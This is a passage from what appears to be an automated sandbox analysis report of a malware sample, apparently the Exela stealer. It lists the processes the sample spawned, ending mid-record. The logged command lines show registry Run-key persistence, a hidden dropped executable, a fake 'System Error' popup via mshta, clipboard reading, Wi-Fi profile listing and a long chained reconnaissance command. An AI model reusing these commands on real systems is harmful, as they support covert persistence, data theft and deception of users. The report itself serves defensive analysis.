MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	19:24:01
Start date:	24/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
Imagebase:	0x7ff621f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	19:24:01
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	19:24:01
Start date:	24/04/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic path Win32_ComputerSystem get Manufacturer
Imagebase:	0x7ff7f9cd0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	19:24:02
Start date:	24/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff621f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	19:24:02
Start date:	24/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist"
Imagebase:	0x7ff621f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6404, Parent PID: 6936

General

Target ID:	20
Start time:	19:24:02
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	19:24:02
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	19:24:02
Start date:	24/04/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist
Imagebase:	0x7ff64f8b0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	19:24:02
Start date:	24/04/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff7f9cd0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	19:24:03
Start date:	24/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe""
Imagebase:	0x7ff621f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	19:24:03
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	19:24:03
Start date:	24/04/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe"
Imagebase:	0x7ff719370000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	19:24:03
Start date:	24/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" /f"
Imagebase:	0x7ff621f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	19:24:03
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	19:24:03
Start date:	24/04/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" /f
Imagebase:	0x7ff743a20000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	19:24:04
Start date:	24/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""
Imagebase:	0x7ff70f330000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	19:24:04
Start date:	24/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist"
Imagebase:	0x7ff621f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7116, Parent PID: 7092

General

Target ID:	32
Start time:	19:24:04
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	19:24:04
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	19:24:04
Start date:	24/04/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
Imagebase:	0x7ff631860000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	19:24:04
Start date:	24/04/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist
Imagebase:	0x7ff64f8b0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	19:24:05
Start date:	24/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
Imagebase:	0x7ff621f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	19:24:05
Start date:	24/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
Imagebase:	0x7ff621f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7016, Parent PID: 7044

General

Target ID:	38
Start time:	19:24:05
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	19:24:05
Start date:	24/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff621f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	19:24:05
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	19:24:05
Start date:	24/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
Imagebase:	0x7ff621f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	19:24:05
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	19:24:05
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	19:24:05
Start date:	24/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c chcp
Imagebase:	0x7ff621f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	19:24:05
Start date:	24/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c chcp
Imagebase:	0x7ff621f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: chcp.comPID: 7040, Parent PID: 3320

General

Target ID:	46
Start time:	19:24:05
Start date:	24/04/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp
Imagebase:	0x7ff646c10000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	19:24:05
Start date:	24/04/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff64f8b0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	19:24:05
Start date:	24/04/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe Get-Clipboard
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	19:24:05
Start date:	24/04/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp
Imagebase:	0x7ff646c10000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	19:24:06
Start date:	24/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
Imagebase:	0x7ff621f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	19:24:06
Start date:	24/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
Imagebase:	0x7ff621f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	19:24:06
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	19:24:06
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	19:24:06
Start date:	24/04/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff6aad50000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	19:24:06
Start date:	24/04/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profiles
Imagebase:	0x7ff762f20000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	19:24:06
Start date:	24/04/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	19:24:07
Start date:	24/04/2024
Path:	C:\Windows\System32\HOSTNAME.EXE
Wow64 process (32bit):	false
Commandline:	hostname
Imagebase:	0x7ff69cd20000
File size:	14'848 bytes
MD5 hash:	33AFAA43B84BDEAB12E02F9DBD2B2EE0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	19:24:07
Start date:	24/04/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic logicaldisk get caption,description,providername
Imagebase:	0x7ff7f9cd0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	19:24:08
Start date:	24/04/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	60
Start time:	19:24:08
Start date:	24/04/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net user
Imagebase:	0x7ff66c7c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	19:24:08
Start date:	24/04/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 user
Imagebase:	0x7ff760020000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	19:24:08
Start date:	24/04/2024
Path:	C:\Windows\System32\query.exe
Wow64 process (32bit):	false
Commandline:	query user
Imagebase:	0x7ff7cf070000
File size:	17'408 bytes
MD5 hash:	29043BC0B0F99EAFF36CAD35CBEE8D45
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	19:24:09
Start date:	24/04/2024
Path:	C:\Windows\System32\quser.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\quser.exe"
Imagebase:	0x7ff724ef0000
File size:	25'600 bytes
MD5 hash:	480868AEBA9C04CA04D641D5ED29937B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	19:24:09
Start date:	24/04/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net localgroup
Imagebase:	0x7ff66c7c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	19:24:09
Start date:	24/04/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 localgroup
Imagebase:	0x7ff760020000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	19:24:09
Start date:	24/04/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net localgroup administrators
Imagebase:	0x7ff66c7c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	19:24:09
Start date:	24/04/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 localgroup administrators
Imagebase:	0x7ff760020000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	19:24:09
Start date:	24/04/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net user guest
Imagebase:	0x7ff66c7c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	19:24:09
Start date:	24/04/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 user guest
Imagebase:	0x7ff760020000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	19:24:10
Start date:	24/04/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net user administrator
Imagebase:	0x7ff66c7c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	19:24:10
Start date:	24/04/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 user administrator
Imagebase:	0x7ff760020000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	19:24:10
Start date:	24/04/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic startup get caption,command
Imagebase:	0x7ff7f9cd0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	19:24:10
Start date:	24/04/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /svc
Imagebase:	0x7ff64f8b0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	19:24:11
Start date:	24/04/2024
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	ipconfig /all
Imagebase:	0x7ff7152f0000
File size:	35'840 bytes
MD5 hash:	62F170FB07FDBB79CEB7147101406EB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	19:24:11
Start date:	24/04/2024
Path:	C:\Windows\System32\ROUTE.EXE
Wow64 process (32bit):	false
Commandline:	route print
Imagebase:	0x7ff63f270000
File size:	24'576 bytes
MD5 hash:	3C97E63423E527BA8381E81CBA00B8CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	19:24:11
Start date:	24/04/2024
Path:	C:\Windows\System32\ARP.EXE
Wow64 process (32bit):	false
Commandline:	arp -a
Imagebase:	0x7ff634f30000
File size:	26'624 bytes
MD5 hash:	2AF1B2C042B83437A4BE82B19749FA98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	19:24:11
Start date:	24/04/2024
Path:	C:\Windows\System32\NETSTAT.EXE
Wow64 process (32bit):	false
Commandline:	netstat -ano
Imagebase:	0x7ff7b0ea0000
File size:	39'936 bytes
MD5 hash:	7FDDD6681EA81CE26E64452336F479E6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	19:24:11
Start date:	24/04/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query type= service state= all
Imagebase:	0x7ff64de00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	19:24:11
Start date:	24/04/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh firewall show state
Imagebase:	0x7ff762f20000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	19:24:11
Start date:	24/04/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh firewall show config
Imagebase:	0x7ff762f20000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	19:24:12
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
